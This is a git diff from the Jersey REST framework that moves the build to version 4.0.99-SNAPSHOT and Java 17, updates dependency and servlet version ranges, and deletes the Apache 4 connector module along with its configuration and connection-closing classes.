diff --git a/NOTICE.md b/NOTICE.md
index 1935ed0..c07f4ea 100644
--- a/NOTICE.md
+++ b/NOTICE.md
@@ -41,7 +41,7 @@
 * Project: http://aopalliance.sourceforge.net
 * Copyright: Material in the public domain is not protected by copyright
 
-Bean Validation API 3.0.2
+Bean Validation API 3.1.0
 * License: Apache License, 2.0
 * Project: https://projects.eclipse.org/projects/ee4j.bean-validation
 * Copyright: 2009, Red Hat, Inc. and/or its affiliates, and individual contributors
diff --git a/archetypes/jersey-example-java8-webapp/pom.xml b/archetypes/jersey-example-java8-webapp/pom.xml
index 7788263..bb6440f 100644
--- a/archetypes/jersey-example-java8-webapp/pom.xml
+++ b/archetypes/jersey-example-java8-webapp/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.archetypes</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-example-java8-webapp</artifactId>
diff --git a/archetypes/jersey-example-java8-webapp/src/main/resources/archetype-resources/pom.xml b/archetypes/jersey-example-java8-webapp/src/main/resources/archetype-resources/pom.xml
index 3d79423..9f6fb8d 100644
--- a/archetypes/jersey-example-java8-webapp/src/main/resources/archetype-resources/pom.xml
+++ b/archetypes/jersey-example-java8-webapp/src/main/resources/archetype-resources/pom.xml
@@ -125,7 +125,7 @@
     </profiles>
 
     <properties>
-        <java.version>11</java.version>
+        <java.version>17</java.version>
         <jersey.config.test.container.port>8080</jersey.config.test.container.port>
     </properties>
 </project>
diff --git a/archetypes/jersey-heroku-webapp/pom.xml b/archetypes/jersey-heroku-webapp/pom.xml
index fa3e2cc..2982282 100644
--- a/archetypes/jersey-heroku-webapp/pom.xml
+++ b/archetypes/jersey-heroku-webapp/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.archetypes</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <packaging>maven-archetype</packaging>
 
diff --git a/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/pom.xml b/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/pom.xml
index edfed3d..436e788 100644
--- a/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/pom.xml
+++ b/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/pom.xml
@@ -91,7 +91,7 @@
             <plugin>
                 <groupId>org.eclipse.jetty.ee10</groupId>
                 <artifactId>jetty-ee10-maven-plugin</artifactId>
-                <version>\${jetty.version}</version>
+                <version>\${jetty.plugin.version}</version>
                 <configuration>
                     <contextPath>/</contextPath>
                     <webApp>
diff --git a/archetypes/jersey-quickstart-grizzly2/pom.xml b/archetypes/jersey-quickstart-grizzly2/pom.xml
index 60d9748..650a959 100644
--- a/archetypes/jersey-quickstart-grizzly2/pom.xml
+++ b/archetypes/jersey-quickstart-grizzly2/pom.xml
@@ -21,7 +21,7 @@
     <parent>
         <groupId>org.glassfish.jersey.archetypes</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <artifactId>jersey-quickstart-grizzly2</artifactId>
     <packaging>maven-archetype</packaging>
diff --git a/archetypes/jersey-quickstart-webapp/pom.xml b/archetypes/jersey-quickstart-webapp/pom.xml
index 0bec6e4..1b5e2d3 100644
--- a/archetypes/jersey-quickstart-webapp/pom.xml
+++ b/archetypes/jersey-quickstart-webapp/pom.xml
@@ -21,7 +21,7 @@
     <parent>
         <groupId>org.glassfish.jersey.archetypes</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <packaging>maven-archetype</packaging>
diff --git a/archetypes/pom.xml b/archetypes/pom.xml
index 2829e6c..bea6f1d 100644
--- a/archetypes/pom.xml
+++ b/archetypes/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.archetypes</groupId>
diff --git a/bom/pom.xml b/bom/pom.xml
index 1ca327c..c5297ce 100644
--- a/bom/pom.xml
+++ b/bom/pom.xml
@@ -30,7 +30,7 @@
 
     <groupId>org.glassfish.jersey</groupId>
     <artifactId>jersey-bom</artifactId>
-    <version>3.1.99-SNAPSHOT</version>
+    <version>4.0.99-SNAPSHOT</version>
     <packaging>pom</packaging>
     <name>jersey-bom</name>
 
@@ -54,16 +54,6 @@
                 <version>${project.version}</version>
             </dependency>
             <dependency>
-                <groupId>org.glassfish.jersey.bundles</groupId>
-                <artifactId>jaxrs-ri</artifactId>
-                <version>${project.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.glassfish.jersey.connectors</groupId>
-                <artifactId>jersey-apache-connector</artifactId>
-                <version>${project.version}</version>
-            </dependency>
-            <dependency>
                 <groupId>org.glassfish.jersey.connectors</groupId>
                 <artifactId>jersey-apache5-connector</artifactId>
                 <version>${project.version}</version>
@@ -90,11 +80,6 @@
             </dependency>
             <dependency>
                 <groupId>org.glassfish.jersey.connectors</groupId>
-                <artifactId>jersey-jetty11-connector</artifactId>
-                <version>${project.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.glassfish.jersey.connectors</groupId>
                 <artifactId>jersey-jetty-http2-connector</artifactId>
                 <version>${project.version}</version>
             </dependency>
@@ -115,11 +100,6 @@
             </dependency>
             <dependency>
                 <groupId>org.glassfish.jersey.containers</groupId>
-                <artifactId>jersey-container-jetty11-http</artifactId>
-                <version>${project.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.glassfish.jersey.containers</groupId>
                 <artifactId>jersey-container-jetty-http2</artifactId>
                 <version>${project.version}</version>
             </dependency>
@@ -159,11 +139,6 @@
                 <version>${project.version}</version>
             </dependency>
             <dependency>
-                <groupId>org.glassfish.jersey.containers</groupId>
-                <artifactId>jersey-container-simple-http</artifactId>
-                <version>${project.version}</version>
-            </dependency>
-            <dependency>
                 <groupId>org.glassfish.jersey.containers.glassfish</groupId>
                 <artifactId>jersey-gf-ejb</artifactId>
                 <version>${project.version}</version>
@@ -369,11 +344,6 @@
                 <version>${project.version}</version>
             </dependency>
             <dependency>
-                <groupId>org.glassfish.jersey.inject</groupId>
-                <artifactId>jersey-cdi2-se</artifactId>
-                <version>${project.version}</version>
-            </dependency>
-            <dependency>
                 <groupId>org.glassfish.jersey.test-framework</groupId>
                 <artifactId>jersey-test-framework-core</artifactId>
                 <version>${project.version}</version>
@@ -406,11 +376,6 @@
             </dependency>
             <dependency>
                 <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-                <artifactId>jersey-test-framework-provider-simple</artifactId>
-                <version>${project.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.glassfish.jersey.test-framework.providers</groupId>
                 <artifactId>jersey-test-framework-provider-jetty</artifactId>
                 <version>${project.version}</version>
             </dependency>
diff --git a/bundles/apidocs/pom.xml b/bundles/apidocs/pom.xml
index e896f98..13f8a1b 100644
--- a/bundles/apidocs/pom.xml
+++ b/bundles/apidocs/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.bundles</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>apidocs</artifactId>
@@ -61,11 +61,6 @@
         <!-- CONNECTORS -->
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
-            <version>${project.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.connectors</groupId>
             <artifactId>jersey-apache5-connector</artifactId>
             <version>${project.version}</version>
         </dependency>
@@ -123,14 +118,8 @@
             <artifactId>jakarta.persistence-api</artifactId>
         </dependency>
         <dependency>
-            <groupId>org.glassfish</groupId>
-            <artifactId>javax.servlet</artifactId>
-            <version>3.1.1</version>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-simple-http</artifactId>
-            <version>${project.version}</version>
+            <groupId>jakarta.servlet</groupId>
+            <artifactId>jakarta.servlet-api</artifactId>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
@@ -144,6 +133,16 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
+            <artifactId>jersey-container-jetty-http2</artifactId>
+            <version>${project.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.containers</groupId>
+            <artifactId>jersey-container-netty-http</artifactId>
+            <version>${project.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.containers</groupId>
             <artifactId>jersey-container-grizzly2-http</artifactId>
             <version>${project.version}</version>
         </dependency>
@@ -165,6 +164,11 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-json-gson</artifactId>
+            <version>${project.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
             <artifactId>jersey-media-json-jackson</artifactId>
             <version>${project.version}</version>
         </dependency>
@@ -284,14 +288,8 @@
                         <configuration>
                             <includeDependencySources>true</includeDependencySources>
                             <sourceFileExcludes>
-                                <fileExclude>META-INF/versions/12/org/glassfish/jersey/wadl/doclet/*.java</fileExclude>
-                                <fileExclude>META-INF/versions/17/org/glassfish/jersey/jetty/*.java</fileExclude>
-                                <fileExclude>META-INF/versions/17/org/glassfish/jersey/jetty/connector/*.java</fileExclude>
-                                <fileExclude>META-INF/versions/17/org/glassfish/jersey/helidon/connector/*.java</fileExclude>
+                                <fileExclude>META-INF/versions/21/org/glassfish/jersey/helidon/connector/*.java</fileExclude>
                                 <fileExclude>org/glassfish/jersey/helidon/connector/*.java</fileExclude>
-                                <fileExclude>org/glassfish/jersey/jetty/*.java</fileExclude>
-                                <fileExclude>org/glassfish/jersey/jetty/connector/*.java</fileExclude>
-                                <fileExclude>org/glassfish/jersey/wadl/doclet/*.java</fileExclude>
                             </sourceFileExcludes>
                             <dependencySourceIncludes>
                                 <dependencySourceInclude>org.glassfish.jersey.*:*</dependencySourceInclude>
@@ -322,61 +320,4 @@
             </plugin>
         </plugins>
     </build>
-    <profiles>
-        <profile>
-            <id>jetty11</id>
-            <activation>
-                <activeByDefault>true</activeByDefault>
-            </activation>
-            <properties>
-                <jetty.version>${jetty11.version}</jetty.version>
-            </properties>
-            <dependencyManagement>
-                <dependencies>
-                    <dependency>
-                        <groupId>org.glassfish.jersey.connectors</groupId>
-                        <artifactId>jersey-jetty11-connector</artifactId>
-                        <version>${project.version}</version>
-                    </dependency>
-                    <!--<dependency>
-                        <groupId>org.glassfish.jersey.connectors</groupId>
-                        <artifactId>jersey-jetty11-http2-connector</artifactId>
-                        <version>${project.version}</version>
-                    </dependency>
-                    <dependency>
-                        <groupId>org.glassfish.jersey.containers</groupId>
-                        <artifactId>jersey-container-jetty11-http</artifactId>
-                        <version>${project.version}</version>
-                    </dependency>
-                    <dependency>
-                        <groupId>org.glassfish.jersey.containers</groupId>
-                        <artifactId>jersey-container-jetty11-http2</artifactId>
-                        <version>${project.version}</version>
-                    </dependency>--> <!-- TODO - HTTP/2 support for Jetty 12 container -->
-                </dependencies>
-            </dependencyManagement>
-            <dependencies>
-                <dependency>
-                    <groupId>org.glassfish.jersey.connectors</groupId>
-                    <artifactId>jersey-jetty11-connector</artifactId>
-                    <version>${project.version}</version>
-                </dependency>
-                <!--<dependency>
-                    <groupId>org.glassfish.jersey.connectors</groupId>
-                    <artifactId>jersey-jetty11-http2-connector</artifactId>
-                    <version>${project.version}</version>
-                </dependency>
-                <dependency>
-                    <groupId>org.glassfish.jersey.containers</groupId>
-                    <artifactId>jersey-container-jetty11-http</artifactId>
-                    <version>${project.version}</version>
-                </dependency>
-                <dependency>
-                    <groupId>org.glassfish.jersey.containers</groupId>
-                    <artifactId>jersey-container-jetty11-http2</artifactId>
-                    <version>${project.version}</version>
-                </dependency>--> <!-- TODO - HTTP/2 support for Jetty 12 container -->
-            </dependencies>
-        </profile>
-    </profiles>
 </project>
diff --git a/bundles/examples/pom.xml b/bundles/examples/pom.xml
index 74580eb..a4f7f2b 100644
--- a/bundles/examples/pom.xml
+++ b/bundles/examples/pom.xml
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.bundles</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-examples</artifactId>
@@ -380,6 +380,7 @@
             <classifier>project-src</classifier>
             <type>zip</type>
         </dependency>
+<!--
         <dependency>
             <groupId>org.glassfish.jersey.examples</groupId>
             <artifactId>managed-beans-webapp</artifactId>
@@ -394,6 +395,7 @@
             <classifier>gf-project-src</classifier>
             <type>zip</type>
         </dependency>
+-->
         <dependency>
             <groupId>org.glassfish.jersey.examples</groupId>
             <artifactId>managed-client</artifactId>
diff --git a/bundles/jaxrs-ri/pom.xml b/bundles/jaxrs-ri/pom.xml
index 52268f9..844d89e 100644
--- a/bundles/jaxrs-ri/pom.xml
+++ b/bundles/jaxrs-ri/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.bundles</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jaxrs-ri</artifactId>
@@ -279,9 +279,9 @@
                             jersey.repackaged.org.objectweb.asm.*;version=${project.version}
                         </Export-Package>
                         <Import-Package><![CDATA[
-                            jakarta.servlet.annotation.*;resolution:=optional;version="[5.0,7.0)",
-                            jakarta.servlet.descriptor.*;resolution:=optional;version="[5.0,7.0)",
-                            jakarta.servlet.*;version="[5.0,7.0)",
+                            jakarta.servlet.annotation.*;resolution:=optional;version="[6.0,7.0)",
+                            jakarta.servlet.descriptor.*;resolution:=optional;version="[6.0,7.0)",
+                            jakarta.servlet.*;version="[6.0,7.0)",
                             ${jakarta.annotation.osgi.version},
                             jakarta.persistence.*;resolution:=optional,
                             jakarta.validation.*;resolution:=optional;version="[3,4)",
diff --git a/bundles/pom.xml b/bundles/pom.xml
index eacb2d2..87a2776 100644
--- a/bundles/pom.xml
+++ b/bundles/pom.xml
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.bundles</groupId>
@@ -34,9 +34,9 @@
 
     <description>Jersey bundles providers umbrella project module.</description>
 
-    <modules>
-        <module>jaxrs-ri</module>
-    </modules>
+<!--    <modules>-->
+<!--        <module>jaxrs-ri</module>-->
+<!--    </modules>-->
 
     <profiles>
         <profile>
diff --git a/connectors/apache-connector/pom.xml b/connectors/apache-connector/pom.xml
deleted file mode 100644
index a255e38..0000000
--- a/connectors/apache-connector/pom.xml
+++ /dev/null
@@ -1,105 +0,0 @@
-<?xml version="1.0"?>
-<!--
-
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
-
-    This program and the accompanying materials are made available under the
-    terms of the Eclipse Public License v. 2.0, which is available at
-    http://www.eclipse.org/legal/epl-2.0.
-
-    This Source Code may also be made available under the following Secondary
-    Licenses when the conditions for such availability set forth in the
-    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-    version 2 with the GNU Classpath Exception, which is available at
-    https://www.gnu.org/software/classpath/license.html.
-
-    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-
--->
-
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
-    <modelVersion>4.0.0</modelVersion>
-
-    <parent>
-        <groupId>org.glassfish.jersey.connectors</groupId>
-        <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
-    </parent>
-
-    <artifactId>jersey-apache-connector</artifactId>
-    <packaging>jar</packaging>
-    <name>jersey-connectors-apache</name>
-
-    <description>Jersey Client Transport via Apache</description>
-
-    <properties>
-        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
-    </properties>
-
-    <dependencies>
-        <dependency>
-            <groupId>org.apache.httpcomponents</groupId>
-            <artifactId>httpclient</artifactId>
-            <exclusions>
-                <exclusion>
-                    <groupId>commons-codec</groupId>
-                    <artifactId>commons-codec</artifactId>
-                </exclusion>
-                <exclusion>
-                    <groupId>commons-logging</groupId>
-                    <artifactId>commons-logging</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
-
-        <dependency>
-            <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-grizzly2-http</artifactId>
-            <version>${project.version}</version>
-            <scope>test</scope>
-        </dependency>
-
-        <dependency>
-            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-            <artifactId>jersey-test-framework-provider-grizzly2</artifactId>
-            <version>${project.version}</version>
-            <scope>test</scope>
-        </dependency>
-
-        <dependency>
-            <groupId>commons-codec</groupId>
-            <artifactId>commons-codec</artifactId>
-            <version>${commons.codec.version}</version>
-        </dependency>
-
-        <dependency>
-            <groupId>commons-logging</groupId>
-            <artifactId>commons-logging</artifactId>
-        </dependency>
-    </dependencies>
-
-    <build>
-        <plugins>
-            <plugin>
-                <groupId>com.sun.istack</groupId>
-                <artifactId>istack-commons-maven-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-            <plugin>
-                <groupId>org.codehaus.mojo</groupId>
-                <artifactId>build-helper-maven-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-            <plugin>
-                <groupId>org.apache.maven.plugins</groupId>
-                <artifactId>maven-compiler-plugin</artifactId>
-            </plugin>
-            <plugin>
-                <groupId>org.apache.felix</groupId>
-                <artifactId>maven-bundle-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-        </plugins>
-    </build>
-
-</project>
diff --git a/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheClientProperties.java b/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheClientProperties.java
deleted file mode 100644
index 099fa31..0000000
--- a/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheClientProperties.java
+++ /dev/null
@@ -1,208 +0,0 @@
-/*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import java.util.Map;
-
-import org.glassfish.jersey.internal.util.PropertiesClass;
-import org.glassfish.jersey.internal.util.PropertiesHelper;
-
-/**
- * Configuration options specific to the Client API that utilizes {@link ApacheConnectorProvider}.
- *
- * @author jorgeluisw@mac.com
- * @author Paul Sandoz
- * @author Pavel Bucek
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-@PropertiesClass
-public final class ApacheClientProperties {
-
-    /**
-     * The credential provider that should be used to retrieve
-     * credentials from a user. Credentials needed for proxy authentication
-     * are stored here as well.
-     * <p/>
-     * The value MUST be an instance of {@link org.apache.http.client.CredentialsProvider}.
-     * <p/>
-     * If the property is absent a default provider will be used.
-     * <p/>
-     * The name of the configuration property is <tt>{@value}</tt>.
-     */
-    public static final String CREDENTIALS_PROVIDER = "jersey.config.apache.client.credentialsProvider";
-
-    /**
-     * A value of {@code false} indicates the client should handle cookies
-     * automatically using HttpClient's default cookie policy. A value
-     * of {@code true} will cause the client to ignore all cookies.
-     * <p/>
-     * The value MUST be an instance of {@link java.lang.Boolean}.
-     * <p/>
-     * The default value is {@code false}.
-     * <p/>
-     * The name of the configuration property is <tt>{@value}</tt>.
-     */
-    public static final String DISABLE_COOKIES = "jersey.config.apache.client.handleCookies";
-
-    /**
-     * A value of {@code true} indicates that a client should send an
-     * authentication request even before the server gives a 401
-     * response.
-     * <p>
-     * This property may only be set prior to constructing Apache connector using {@link ApacheConnectorProvider}.
-     * <p/>
-     * The value MUST be an instance of {@link java.lang.Boolean}.
-     * <p/>
-     * The default value is {@code false}.
-     * <p/>
-     * The name of the configuration property is <tt>{@value}</tt>.
-     */
-    public static final String PREEMPTIVE_BASIC_AUTHENTICATION = "jersey.config.apache.client.preemptiveBasicAuthentication";
-
-    /**
-     * Connection Manager which will be used to create {@link org.apache.http.client.HttpClient}.
-     * <p/>
-     * The value MUST be an instance of {@link org.apache.http.conn.HttpClientConnectionManager}.
-     * <p/>
-     * If the property is absent a default Connection Manager will be used
-     * ({@link org.apache.http.impl.conn.BasicHttpClientConnectionManager}).
-     * If you want to use this client in multi-threaded environment, be sure you override default value with
-     * {@link org.apache.http.impl.conn.PoolingHttpClientConnectionManager} instance.
-     * <p/>
-     * The name of the configuration property is <tt>{@value}</tt>.
-     */
-    public static final String CONNECTION_MANAGER = "jersey.config.apache.client.connectionManager";
-
-    /**
-     * A value of {@code true} indicates that configured connection manager should be shared
-     * among multiple Jersey {@code ClientRuntime} instances. It means that closing
-     * a particular {@code ClientRuntime} instance does not shut down the underlying
-     * connection manager automatically. In such case, the connection manager life-cycle
-     * should be fully managed by the application code. To release all allocated resources,
-     * caller code should especially ensure {@link org.apache.http.conn.HttpClientConnectionManager#shutdown()} gets
-     * invoked eventually.
-     * <p>
-     * This property may only be set prior to constructing Apache connector using {@link ApacheConnectorProvider}.
-     * <p/>
-     * The value MUST be an instance of {@link java.lang.Boolean}.
-     * <p/>
-     * The default value is {@code false}.
-     * <p/>
-     * The name of the configuration property is <tt>{@value}</tt>.
-     *
-     * @since 2.18
-     */
-    public static final String CONNECTION_MANAGER_SHARED = "jersey.config.apache.client.connectionManagerShared";
-
-    /**
-     * Request configuration for the {@link org.apache.http.client.HttpClient}.
-     * Http parameters which will be used to create {@link org.apache.http.client.HttpClient}.
-     * <p/>
-     * The value MUST be an instance of {@link org.apache.http.client.config.RequestConfig}.
-     * <p/>
-     * If the property is absent the default request configuration will be used.
-     * <p/>
-     * The name of the configuration property is <tt>{@value}</tt>.
-     *
-     * @since 2.5
-     */
-    public static final String REQUEST_CONFIG = "jersey.config.apache.client.requestConfig";
-
-    /**
-     * HttpRequestRetryHandler which will be used to create {@link org.apache.http.client.HttpClient}.
-     * <p/>
-     * The value MUST be an instance of {@link org.apache.http.client.HttpRequestRetryHandler}.
-     * <p/>
-     * If the property is absent a default retry handler will be used
-     * ({@link org.apache.http.impl.client.DefaultHttpRequestRetryHandler}).
-     * <p/>
-     * The name of the configuration property is <tt>{@value}</tt>.
-     */
-    public static final String RETRY_HANDLER = "jersey.config.apache.client.retryHandler";
-
-    /**
-     * ConnectionReuseStrategy for the {@link org.apache.http.client.HttpClient}.
-     * <p/>
-     * The value MUST be an instance of {@link org.apache.http.ConnectionReuseStrategy}.
-     * <p/>
-     * If the property is absent the default reuse strategy of the Apache HTTP library will be used.
-     * <p/>
-     * The name of the configuration property is <tt>{@value}</tt>.
-     */
-    public static final String REUSE_STRATEGY = "jersey.config.apache.client.reuseStrategy";
-
-    /**
-     * ConnectionKeepAliveStrategy for the {@link org.apache.http.client.HttpClient}.
-     * <p/>
-     * The value MUST be an instance of {@link org.apache.http.conn.ConnectionKeepAliveStrategy}.
-     * <p/>
-     * If the property is absent the default keepalive strategy of the Apache HTTP library will be used
-     * <p/>
-     * The name of the configuration property is <tt>{@value}</tt>.
-     */
-    public static final String KEEPALIVE_STRATEGY = "jersey.config.apache.client.keepAliveStrategy";
-
-
-    /**
-     * <p>
-     *  Strategy that closes the Apache Connection. Accepts an instance of {@link ApacheConnectionClosingStrategy}.
-     * </p>
-     *
-     * @see ApacheConnectionClosingStrategy
-     * @since 2.30
-     */
-    public static final String CONNECTION_CLOSING_STRATEGY = "jersey.config.apache.client.connectionClosingStrategy";
-
-    /**
-     * A value of {@code false} indicates the client will use default ApacheConnector params. A value
-     * of {@code true} will cause the client to take into account the system properties
-     * {@code https.protocols}, {@code https.cipherSuites}, {@code http.keepAlive},
-     * {@code http.maxConnections}.
-     * <p/>
-     * The value MUST be an instance of {@link java.lang.Boolean}.
-     * <p/>
-     * The default value is {@code false}.
-     * <p/>
-     * The name of the configuration property is <tt>{@value}</tt>.
-     */
-    public static final String USE_SYSTEM_PROPERTIES = "jersey.config.apache.client.useSystemProperties";
-
-    /**
-     * Get the value of the specified property.
-     *
-     * If the property is not set or the actual property value type is not compatible with the specified type, the method will
-     * return {@code null}.
-     *
-     * @param properties    Map of properties to get the property value from.
-     * @param key           Name of the property.
-     * @param type          Type to retrieve the value as.
-     * @param <T>           Type of the property value.
-     * @return Value of the property or {@code null}.
-     *
-     * @since 2.8
-     */
-    public static <T> T getValue(final Map<String, ?> properties, final String key, final Class<T> type) {
-        return PropertiesHelper.getValue(properties, key, type, null);
-    }
-
-    /**
-     * Prevents instantiation.
-     */
-    private ApacheClientProperties() {
-        throw new AssertionError("No instances allowed.");
-    }
-}
diff --git a/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheConnectionClosingStrategy.java b/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheConnectionClosingStrategy.java
deleted file mode 100644
index 96c3ee0..0000000
--- a/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheConnectionClosingStrategy.java
+++ /dev/null
@@ -1,100 +0,0 @@
-/*
- * Copyright (c) 2019, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import org.apache.http.client.methods.CloseableHttpResponse;
-import org.apache.http.client.methods.HttpUriRequest;
-import org.glassfish.jersey.client.ClientRequest;
-
-import java.io.IOException;
-import java.io.InputStream;
-
-/**
- * /**
- * Strategy that defines the way the Apache client releases resources. The client enables closing the content stream
- * and the response. From the Apache documentation:
- * <pre>
- *     The difference between closing the content stream and closing the response is that
- *     the former will attempt to keep the underlying connection alive by consuming the
- *     entity content while the latter immediately shuts down and discards the connection.
- * </pre>
- * With Apache Client before 4.5.1, it was ok to close the response and the content stream. This is the default for
- * Apache Client 4.5 and older.
- * <p/>
- * For Apache Client 4.5.1+, first the content stream and the response is should be closed.
- * <p/>
- * In the case of Chunk content stream, the stream is not closed on the server side, and the client can hung on reading
- * the closing chunk. Using the {@link org.glassfish.jersey.client.ClientProperties#READ_TIMEOUT} property can prevent
- * this hanging forever and the reading of the closing chunk is terminated when the time is out. The other option, when
- * the timeout is not set, is to abort the Apache client request. This is the default for Apache Client 4.5.1+ when the
- * read timeout is not set.
- * <p/>
- * Another option is not to close the content stream, which is possible by the Apache client documentation. In this case,
- * however, the server side may not be notified and would not not close its chunk stream.
- */
-public interface ApacheConnectionClosingStrategy {
-    /**
-     * Method to close the connection.
-     * @param clientRequest The {@link ClientRequest} to get {@link ClientRequest#getConfiguration() configuration},
-     *                      and {@link ClientRequest#resolveProperty(String, Class) resolve properties}.
-     * @param request Apache {@code HttpUriRequest} that can be {@code abort}ed.
-     * @param response Apache {@code CloseableHttpResponse} that can be {@code close}d.
-     * @param stream The entity stream that can be {@link InputStream#close() closed}.
-     * @throws IOException In case of some of the closing methods throws {@link IOException}
-     */
-    void close(ClientRequest clientRequest, HttpUriRequest request, CloseableHttpResponse response, InputStream stream)
-            throws IOException;
-
-    /**
-     * Strategy that aborts Apache HttpRequests for the case of Chunked Stream, closes the stream, and response next.
-     */
-    class GracefulClosingStrategy implements ApacheConnectionClosingStrategy {
-        private static final String UNIX_PROTOCOL = "unix";
-
-        static final GracefulClosingStrategy INSTANCE = new GracefulClosingStrategy();
-
-        @Override
-        public void close(ClientRequest clientRequest, HttpUriRequest request, CloseableHttpResponse response, InputStream stream)
-                throws IOException {
-            if (response.getEntity() != null && response.getEntity().isChunked()
-                    && !request.getURI().getScheme().equals(UNIX_PROTOCOL)) {
-                request.abort();
-            }
-            try {
-                stream.close();
-            } catch (IOException ex) {
-                // Ignore
-            } finally {
-                response.close();
-            }
-        }
-    }
-
-    /**
-     * Strategy that closes the response and content stream next. This is a behaviour of Jersey 2.28.
-     */
-    class ImmediateClosingStrategy implements ApacheConnectionClosingStrategy {
-        static final ImmediateClosingStrategy INSTANCE = new ImmediateClosingStrategy();
-
-        @Override
-        public void close(ClientRequest clientRequest, HttpUriRequest request, CloseableHttpResponse response, InputStream stream)
-                throws IOException {
-            response.close();
-            stream.close();
-        }
-    }
-}
